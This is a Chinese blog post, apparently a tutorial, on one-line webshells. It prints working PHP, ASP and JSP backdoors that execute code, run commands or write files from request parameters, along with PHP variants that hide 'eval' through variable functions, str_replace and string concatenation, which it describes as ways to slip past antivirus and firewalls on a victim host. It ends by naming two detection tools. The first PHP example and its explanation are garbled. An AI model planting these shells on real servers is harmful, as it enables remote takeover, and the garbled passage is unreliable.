Wellshell一句话木马

2023-03-20 10:55:16 浏览数 (2)

何为一句话木马?他跟其他木马有什么区别吗? 一句话木马的叫法是来自他代码结构简单,简单到什么地步?最简单的一句话木马甚至可以就一句代码就结束了,比如经典PHP一句话:<?php @eval($_POST[‘cmd’]);?>。

一句话木马类型

  • PHP一句话木马
  • jsp一句话木马
  • asp一句话木马
  • ……

PHP一句话

先上一个最简单的列子:

<?php @eval(_POST[‘cmd’]));?><?php @assert((

第一个是代码执行(eval),第二个是命令执行(system)。其中@符号的作用是代码执行报错仍然继续执行。参数passwd是我们连接木马时的“暗号”,也叫密码。

免杀与绕过

为了更加隐蔽的藏在受害者主机不被杀毒软件发现,又或者是需要突破防火墙的拦截,一句话木马也需要做伪装和代码上的变形来躲过各种检测机制。

举例1:

代码语言:javascript复制
<?php 
    $a="eval";
    $a(@$_POST['a']);
?>

分析这部分代码:给变量a赋值为:eval,那第二行代码真实的样子为:

eval(@$_POST[‘a’]

举例2:

代码语言:javascript复制
<?php
    $bb="eval";
    $a="bb";
    $$a($_POST['a']);
?>

变量bb赋值为:eval,变量a赋值为:bb,前面两行的铺垫都是为了第三行代码的执行,其真实的样子为:bb(_POST[‘a’]); -> eval(

举例3:

代码语言:javascript复制
<?php
    $a=str_replace("Waldo","","eWaldoval");
    $a(@$_POST['a']);
?>

str_replace()函数字符串替换函数,第一个参数为查找字符串,第二个参数为需替换的字符串,第三个字符串为被替换字符串。str_replace(“Waldo”,””,”eWaldoval”),在ewaldoval中查找waldo,并替换成空字符串,及:”eval” 。

举例4

代码语言:javascript复制
<?php
    $a="e"."v";$b="a"."l";
    $c=$a.$b;
    $c($_POST['a']);
?>

这里的‘.’表示连接的意思,通过变量的凭借来达成目的。 以上这都是一些最简单的构成方式

asp一句话

跟PHP一样先上一个最简单的asp一句话:

<%eval request (“passwd”)%>

这里的变化就是开头的格式与请求方式不一样 ,这里摘选来自互联网的实列:

代码语言:javascript复制
<%execute request("passwd")%>
 
<%execute(request("passwd"))%>
 
<%ExecuteGlobal request("passwd")%>
 
<%Eval(Request(chr(35)))%>

jsp一句话

jsp标签含义:

代码语言:javascript复制
<%@ %>    页面指令,设定页面属性和特征信息
<% %>     java代码片段,不能在此声明方法
<%! %>    java代码声明,声明全局变量或当前页面的方法
<%= %>    Java表达式

简单一句话: eg1:

<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>

eg2:

代码语言:javascript复制
<%
    if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("") request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

Webshell检测工具

这里推荐两个检测工具:

  • 河马webshell查杀: https://www.shellpub.com/
  • D盾: https://www.d99net.net/

0 人点赞